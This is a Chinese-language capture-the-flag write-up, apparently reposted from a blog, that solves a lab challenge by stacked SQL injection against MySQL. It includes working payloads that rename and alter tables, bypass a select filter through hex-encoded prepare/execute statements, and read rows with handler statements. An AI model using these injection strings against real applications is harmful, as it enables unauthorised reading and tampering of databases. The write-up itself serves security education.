buuoj [强网杯]随便注(堆叠注入,prepare预定义)
作者:互联网
输入1
输入2
输入3,无显示。
输入-1' or 1=1,得到
order判断字段数为3
union select,回显被过滤的函数:
但是没有过滤show 等。
利用show命令
1';show tables;# 得到两个表:1919810931114514和words:
查看表1919810931114514的字段:
1';show columns from 1919810931114514
;#
1';show columns form words;# 无显示字段
desc命令查看表的结构
1';desc 1919810931114514
;#同样得到1919810931114514表的字段
1';desc words
;#得到words表的信息:
所以这里就出现一个问题:
根据两个表的信息可以发现,
一开始输入1 ,2 ,3得到的内容是data表的内容,也就是题目环境默认就是data表的内容,
但是flag在1919810931114514
表中,这样就查看不了flag。
方法一:更改表名和字段名得到flag
只更改表名会出现错误,字段名和属性也要同步更改:
1';rename table `words` to `words2`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);#
再用1' or 1=1;#:
更多:关于show命令的用法
https://www.cnblogs.com/123fantao/p/8269287.html
方法二:
绕过select,常见绕过无效。
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
预定义语句也可以通过变量进行传递:
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
方法三:
使用handler语句:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
mysql除了可以用select语句也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
-
handler tbl_name open as a; #指定数据表进行载入并将返回句柄重命名
-
handler tbl_name read first; #读取指定表/句柄的首行数据
-
handler tbl_name read next; #读取指定表/句柄的下一行数据
-
handler tbl_name read next; #读取指定表/句柄的下一行数据
-
handler yunensec close; #关闭句柄
标签:语句,name,prepare,buuoj,强网杯,handler,words,SQL,1919810931114514 来源: https://www.cnblogs.com/echooh/p/15584664.html